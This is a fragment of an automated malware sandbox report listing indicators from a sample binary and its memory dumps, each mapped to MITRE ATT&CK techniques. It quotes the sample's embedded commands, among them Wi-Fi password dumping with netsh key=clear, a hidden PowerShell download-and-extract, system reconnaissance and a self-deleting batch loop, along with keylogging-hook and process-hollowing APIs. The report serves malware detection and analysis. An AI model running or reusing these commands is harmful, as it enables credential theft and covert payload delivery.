"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00004616.00000003.158191.F7130000.00000004.mdmp4d:T5fd,"nul && netsh wlan show profiles > "%s"" (Indicator: "chcp"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "chcp"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "SystemInfo" (Indicator: "systeminfo"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "reg query "%s" /s /f "%s"" (Indicator: "reg query"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "reg query HKCU /s /f "%s"" (Indicator: "reg query"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "arp -a"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "ipconfig"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "ipconfig /all"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "net user"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "netstat"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "route"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "route print"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "sc query"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "systeminfo"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /C "netstat -ano > "%s" 2>&1"" (Indicator: "netstat"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "HostName" (Indicator: "hostname"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profiles > "%s"" (Indicator: "chcp"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "chcp"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "SystemInfo" (Indicator: "systeminfo"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "ping 127.0.0.1 -n 3 >nul" (Indicator: "ping"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "reg query "%s" /s /f "%s"" (Indicator: "reg query"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "reg query HKCU /s /f "%s"" (Indicator: "reg query"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "arp -a"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "ipconfig"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "ipconfig /all"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "net user"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "netstat"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "route"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "route print"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "sc query"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") file/memory contains long string with (Indicator: "systeminfo"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "cmd.exe /C "netstat -ano > "%s" 2>&1"" (Indicator: "netstat"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")69:T524,Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "\drivers\"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "system32\drivers"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "\Device\HarddiskVolume2\d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin.exe" (Indicator: "\Device\"; Source: "00000000-00004616.00000000.148841.F7130000.00000004.mdmp, 00000000-00004616.00000001.150763.F7130000.00000004.mdmp, 00000000-00004616.00000002.152681.F7130000.00000004.mdmp, 00000000-00004616.00000003.158191.F7130000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004616.00000000.148841.F7130000.00000004.mdmp, 00000000-00004616.00000001.150763.F7130000.00000004.mdmp, 00000000-00004616.00000002.152681.F7130000.00000004.mdmp, 00000000-00004616.00000003.158191.F7130000.00000004.mdmp") Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "\drivers\"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "system32\drivers"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")6a:T496,Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")6b:T4d4,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")6c:T4b0,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")6d:T405,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]6e:T79c," \"%s\"\"\" (Indicator: \"ConvertTo-CSV\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"ConvertTo-CSV\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\" HTTP/1.1 200 OK\nDate: Thu\n 09 Apr 2026 09:08:17 GMT\nContent-Type: text/plain; charset=utf-8\nContent-Length: 3\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>55530A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"nul:loopdel /f /q \"%s\"if exist \"%s\" goto loopdel /f /q \"%s\"\" (Indicator: \"ping 127\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping 127\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-5070","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping \"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExA\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"nul:loopdel /f /q \"%s\"if exist \"%s\" goto loopdel /f /q \"%s\"\" (Indicator: \"ping 127.0.0.1\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping 127.0.0.1\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-573","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest -Uri 'https://www.amyuni.com/downloads/usbmmidd_v2.zip' -OutFile '%s'; Expand-Archive -Path '%s' -DestinationPath '%s' -Force\"\" (Indicator: \"Invoke-WebRequest\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest -Uri 'https://www.amyuni.com/downloads/usbmmidd_v2.zip' -OutFile '%s'; Expand-Archive -Path '%s' -DestinationPath '%s' -Force\"\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"file/memory contains long string with (Indicator: \"ipconfig /all\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n file/memory contains long string with (Indicator: \"ipconfig /all\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserSetInfo\" (Indicator: \"NetUserSetInfo\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NetUserSetInfo\" (Indicator: \"NetUserSetInfo\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve list of TCP/UDP endpoints (API string)","description":"Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetExtendedUdpTable\" (Indicator: \"GetExtendedUdpTable\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetExtendedUdpTable\" (Indicator: \"GetExtendedUdpTable\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-273","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"mail.smtpserver.\" (Indicator: \"SmtpServer\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to \"mail.smtpserver.\" (Indicator: \"SmtpServer\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$57","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"127.0.0.1\"\n Potential IP \"127.0.0.1\" found in string \"@echo offping 127.0.0.1 -n 3 >nul:loopdel /f /q \"%s\"if exist \"%s\" goto loopdel /f /q \"%s\"\"\n \"127.0.0.1:4449\"\n Potential IP \"127.0.0.1\" found in string \"Host: 127.0.0.1:%d\"\n Potential IP \"127.0.0.1\" found in string \"ping 127.0.0.1 -n 3 >nul\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET %s HTTP/1.1Host: 127.0.0.1:%dUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13\" (Indicator: \"HTTP/1.1\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"fields=countryCode HTTP/1.1?\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004616.00000000.148841.F7130000.00000004.mdmp, 00000000-00004616.00000001.150763.F7130000.00000004.mdmp, 00000000-00004616.00000002.152681.F7130000.00000004.mdmp, 00000000-00004616.00000003.158191.F7130000.00000004.mdmp\")\n Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004616.00000000.148841.F7130000.00000004.mdmp, 00000000-00004616.00000001.150763.F7130000.00000004.mdmp, 00000000-00004616.00000002.152681.F7130000.00000004.mdmp, 